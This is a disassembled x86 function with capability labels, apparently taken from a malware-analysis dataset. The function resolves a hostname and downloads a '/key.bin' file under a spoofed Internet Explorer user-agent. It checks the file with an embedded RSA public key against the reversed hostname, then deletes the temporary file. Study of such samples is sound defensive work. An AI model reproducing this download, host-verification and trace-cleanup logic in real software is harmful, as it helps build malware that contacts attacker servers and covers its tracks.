Function at 0x100047c0
Capabilities:
Check if file exists
Delete file
Get common file path
Resolve dns
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x330
push ebx
push esi
push edi
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x227]
push ebx
push eax
mov byte [ebp - 0x228], bl
call sub.MSVCRT.dll_memset
add esp, 0xc
call dword [sym.imp.DNSAPI.dll_DnsFlushResolverCache]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x10004add
lea ecx, [ebp - 0x330]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edx, [ebp - 0x120]
push edx
push ebx
push ebx
lea eax, [ebp - 0x330]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
call fcn.10001810
mov esi, str.Mozilla_4.0__compatible__MSIE_2.0__Windows_NT_5.0__Trident_4.0__SLCC2__.NET_CLR_2.0.50727__.NET_CLR_3.5.30729__.NET_CLR_3.0.30728__Media_Center_PC_6.0_
test eax, eax
jne 0x1000483c
mov esi, str.Mozilla_4.0__compatible__MSIE_2.0__Windows_NT_5.0__Trident_4.0__SLCC2__.NET_CLR_2.0.50727__.NET_CLR_3.5.30729__.NET_CLR_3.0.30729__Media_Center_PC_6.0_
push 0
push 0
push 0
push 0
push 0
push 0
push esi
lea ecx, [ebp - 0x120]
push ecx
push str._key.bin
push 0
mov eax, edi
call fcn.10012dc0
test eax, eax
jne 0x10004886
push eax
push eax
push eax
push eax
push eax
push eax
push esi
lea edx, [ebp - 0x120]
push edx
push str._key.bin
push 1
mov eax, edi
call fcn.10012dc0
test eax, eax
je 0x10004add
push 1
push 0
lea eax, [ebp - 0x120]
call fcn.10005630
mov dword [ebp - 4], eax
test eax, eax
je 0x10004add
mov esi, dword [sym.imp.MSVCRT.dll_calloc]
push 0xc
push 1
call esi
mov edi, eax
add esp, 8
mov dword [ebp - 0x14], edi
test edi, edi
jne 0x100048c0
push 1
call dword [sym.imp.MSVCRT.dll_exit]
push 4
push 1
call esi
add esp, 8
test eax, eax
jne 0x100048d5
push 1
call dword [sym.imp.MSVCRT.dll_exit]
mov dword [edi], eax
mov dword [eax], ebx
push 0xc
push 1
mov dword [edi + 4], ebx
mov dword [edi + 8], 1
mov dword [ebp - 0xc], edi
call esi
mov ebx, eax
add esp, 8
test ebx, ebx
jne 0x100048fd
push 1
call dword [sym.imp.MSVCRT.dll_exit]
push 4
push 1
call esi
add esp, 8
test eax, eax
jne 0x10004912
push 1
call dword [sym.imp.MSVCRT.dll_exit]
mov dword [ebx], eax
mov dword [eax], 0
push 0xc
push 1
mov dword [ebx + 4], 0
mov dword [ebx + 8], 1
mov dword [ebp - 8], ebx
call esi
mov edi, eax
add esp, 8
test edi, edi
jne 0x10004942
push 1
call dword [sym.imp.MSVCRT.dll_exit]
push 4
push 1
call esi
add esp, 8
test eax, eax
jne 0x10004957
push 1
call dword [sym.imp.MSVCRT.dll_exit]
mov dword [edi], eax
mov dword [eax], 0
push 0xc
push 1
mov dword [edi + 4], 0
mov dword [edi + 8], 1
mov dword [ebp - 0x18], edi
call esi
mov esi, eax
add esp, 8
test esi, esi
jne 0x10004987
push 1
call dword [sym.imp.MSVCRT.dll_exit]
push 4
push 1
call dword [sym.imp.MSVCRT.dll_calloc]
add esp, 8
test eax, eax
jne 0x100049a0
push 1
call dword [sym.imp.MSVCRT.dll_exit]
mov dword [esi], eax
mov dword [eax], 0
push str.9E14C63C2A966A106529E77361EC7CB455384447EE1039A57D836393C66E968143C62276890F2448D3F5B2D41A2782A84C0D40AA29975F25653144EC03815BE2E3219BEA60FF68F4EDE3C7C9DDA60384BBEAF81966557539D41F8583C76ABF46785714FD1B1EA8341816963BD5347F5DE376B54DFF0D6A39BF43BBA1FE8D8EB9
mov eax, edi
mov dword [esi + 4], 0
mov dword [esi + 8], 1
mov dword [ebp - 0x10], esi
call fcn.10001b20
push str.10001
mov eax, esi
call fcn.10001b20
mov eax, dword [ebp - 4]
push eax
mov eax, ebx
call fcn.10001b20
push edi
push esi
mov esi, dword [ebp - 0x14]
push ebx
push esi
call fcn.10001b90
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x228]
sub ecx, eax
mov dl, byte [eax]
mov byte [ecx + eax], dl
inc eax
test dl, dl
jne 0x100049f3
lea ecx, [ebp - 0x228]
push ecx
call dword [sym.imp.MSVCRT.dll__strrev]
lea eax, [ebp - 0x228]
add esp, 4
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10004a16
sub eax, edx
mov edx, dword [esi]
mov ecx, eax
lea esi, [ebp - 0x228]
cmp ecx, 4
jb 0x10004a44
mov edi, edi
mov eax, dword [esi]
cmp eax, dword [edx]
jne 0x10004a48
sub ecx, 4
add edx, 4
add esi, 4
cmp ecx, 4
jae 0x10004a30
test ecx, ecx
je 0x10004a8b
movzx edi, byte [edx]
movzx eax, byte [esi]
sub eax, edi
jne 0x10004a83
cmp ecx, 1
jbe 0x10004a8b
movzx eax, byte [esi + 1]
movzx edi, byte [edx + 1]
sub eax, edi
jne 0x10004a83
cmp ecx, 2
jbe 0x10004a8b
movzx eax, byte [esi + 2]
movzx edi, byte [edx + 2]
sub eax, edi
jne 0x10004a83
cmp ecx, 3
jbe 0x10004a8b
movzx eax, byte [esi + 3]
movzx ecx, byte [edx + 3]
sub eax, ecx
sar eax, 0x1f
or eax, 1
jmp 0x10004a8d
xor eax, eax
xor ebx, ebx
lea edx, [ebp - 0x10]
test eax, eax
push edx
sete bl
call fcn.100019d0
lea eax, [ebp - 0x18]
push eax
call fcn.100019d0
lea ecx, [ebp - 8]
push ecx
call fcn.100019d0
lea edx, [ebp - 0xc]
push edx
call fcn.100019d0
mov edi, dword [ebp - 4]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push edi
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x10004add
push edi
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x10004b0a
push 0
lea ecx, [ebp - 0x120]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [ebp - 0x120]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 4